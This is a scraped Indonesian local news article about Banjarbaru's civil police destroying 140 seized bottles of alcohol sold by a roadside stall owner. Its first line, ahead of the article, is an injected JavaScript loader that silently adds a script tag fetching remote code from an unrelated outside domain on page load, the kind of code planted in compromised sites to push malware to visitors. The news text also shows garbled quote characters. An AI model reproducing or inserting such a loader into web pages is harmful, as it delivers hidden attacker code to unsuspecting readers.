(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sebanyak 140 botol berisi cairan alkohol dimusnahkan Satpol PP Kota Banjarbaru, Senin (4/11) siang. Pemusnahan langsung dilakukan oleh pemilik ratusan alkohol tersebut yakni GE (26) dengan cara dibuang cairannya lalu dibakar.
Kepala Satpol PP Kota Banjarbaru Marhain Rahman melalui PPNS Yanto Hidayat mengatakan, awal mula temuan botol alkohol ini saat pihaknya melakukan giat rutin cipta kondisi, pada Sabtu (2/11) malam.
Petugas yang sedang melakukan pemantauan di sejumlah lokasi rawan, menciduk sejumlah pemuda yang tengah mengkonsumsi minuman bercampur alkohol. Petugas pun kemudian melakukan pengembangan untuk mengetahui dari mana suplai alkohol tersebut.
“Setelah kita kembangkan, kami mengetahui bahwa alkohol tersebut didapat dari sebuah warung yang berlokasi di pinggir jalan A Yani Km 33, tepatnya di samping kantor pajak,†katanya.
Baca : Ratusan Botol Alkohol Diangkut Satpol PP Banjarbaru
Tidak membuang waktu, petugas kemudian langsung mendatangi lokasi warung tersebut. Benar saja, saat itu petugas mendapati ratusan botol alkohol yang diperjual belikan untuk disalahgunakan. Usai temuan itu, petugas kemudian mengangkut barang bukti botol alkohol tersebut untuk dimusnahkan.
“Sebenarnya pada malam itu, total yang kami temukan ada sebanyak 240 botol alkohol. Tapi khusus di warung itu ada 140 botol dan pada hari ini kita laksanakan pemusnahan. Untuk sisanya, kita masih menunggu pemilik lainnya,†lanjut Yanto.
Menurut GE, pasokan dus berisi botol alkohol ini dikirim dari Banjarmasin melalui ojek online. Pengiriman dilakukan secara rutin, satu minggu sekali. Penjualan alkohol ini telah dilakukan GE sejak 5-6 bulan terakhir. Untuk tarif per botol ukuran kecil dijual seharga Rp 20 ribu. Sedangkan botol yang besar seharga Rp 55 ribu.
Yanto menerangkan, GE telah berjanji tidak akan memperjual belikan botol alkohol tersebut. Hal itu tertera melalui surat pernyataan yang ditanda tanganinya. Jika nantinya GE kedapatan memperjual belikan botol alkohol tersebut, maka petugas tidak segan untuk melakukan proses hukum.ÂÂ
“Selama beberapa waktu kedepan, kami berkerjasama dengan Polres Banjarbaru akan terus melakukan pemantauan warung tersebut,†lanjut Yanto.
Meski penindakan terhadap penyalahgunaan alkohol terus dilakukan petugas Satpol PP Banjarbaru, rupanya sampai saat ini belum ada satupun payung hukum di kota Banjarbaru yang mengatur tentang peredaran alkohol ini.
Seperti halnya dalam kasus ini, dimana pemilik warung disangkakan UU kesehatan tentang penyalahgunaan alkohol. (rico)
KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
This website uses cookies.